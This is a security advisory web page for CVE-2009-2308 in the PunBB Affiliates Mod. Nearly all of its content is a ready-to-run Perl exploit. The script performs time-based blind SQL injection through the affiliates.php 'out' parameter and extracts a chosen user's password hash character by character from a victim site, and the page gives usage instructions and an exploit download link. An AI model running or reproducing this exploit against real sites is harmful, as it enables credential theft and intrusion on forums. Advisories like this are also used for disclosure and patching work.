SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PunBB Affiliates Mod <= 1.1 Remote Blind SQL Injection Exploit


Arrow  SecurityAlert : 5984
Arrow  CVE : CVE-2009-2308
Arrow  CWE : CWE-89
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   6496
Arrow  Credit : Dante90
Arrow  Published : 04.07.2009

Arrow  Affected Software : PunBB Affiliates Mod <= 1.1



Arrow  Advisory Content :  

#!/usr/bin/perl
#[0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote Blind SQL Injection
Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90 & UltraSound, WaRWolFz Crew
#Product: http://www.punres.org/desc.php?pid=328

use strict;
use LWP::UserAgent;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link
my $id = shift or &usage;
my $Method = HTTP::Request->new(GET => $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = "http://warwolfz.altervista.org/";
my $DefaultTime = request($Referrer);

sub Blind_SQL_Jnjection{
my ($dec,$hex) = @_;
return "./affiliates.php?out=-1+OR+1!=(SELECT
IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(
0)),0) FROM `users` WHERE `id`=${id})/*";
}

for(my $I=1; $I<=40; $I++){ #N Hash characters
for(my $J=0; $J<=15; $J++){ #0 -> F
$Time_Start = time();
$HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
$Time_End = time();
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End - $Time_Start > 6){
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End - $Time_Start > 6){
syswrite(STDOUT,chr($chars[$J]));
$Hash .= chr($chars[$J]);
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
last;
}
}
}
if($I == 1 && length $Hash < 0 && !$Hash){
print " * Exploit Failed
*\n";
print " ------------------------------------------------------
\n";
exit;
}
if($I == 40){
print " * Exploit Successed
*\n";
print " ------------------------------------------------------\n
";
system("pause");
}
}

sub usage{
system("cls");
{
print " \n [0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote
Blind SQL Injection Exploit\n";
print " ------------------------------------------------------
\n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\
*\n";
print " * perl name_exploit.pl [id] *\n";
print " ------------------------------------------------------
\n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------
\n";
};
exit;
}

sub request{
$Referrer = $_[0];
$Method->referrer($Referrer);
$Start = Time::HiRes::time();
$Response = $HTTP->request($Method);
$Response->is_success() or die "$Host : ", $Response->message,"\n";
$End = Time::HiRes::time();
$Time = $End - $Start;
return $Time;
}

sub refresh{
system("cls");
{
print " \n [0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote
Blind SQL Injection Exploit\n";
print " ------------------------------------------------------
\n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\
*\n";
print " * perl name_exploit.pl [uid] *\n";
print " ------------------------------------------------------
\n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------
\n";
};
print " * Victime Site: " . $_[0] . "\n";
print " * Default Time: " . $_[1] . " seconds\n";
print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n";
print " * BruteForcing N Char Hash: " . $_[5] . "\n";
print " * SQL Time: " . $_[4] . " seconds\n";
print " * Hash: " . $_[3] . "\n";
}

#WaRWolFz Crew



Arrow  References :

http://securityreason.com/expldownload/1/6496/1 (Exploit)




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.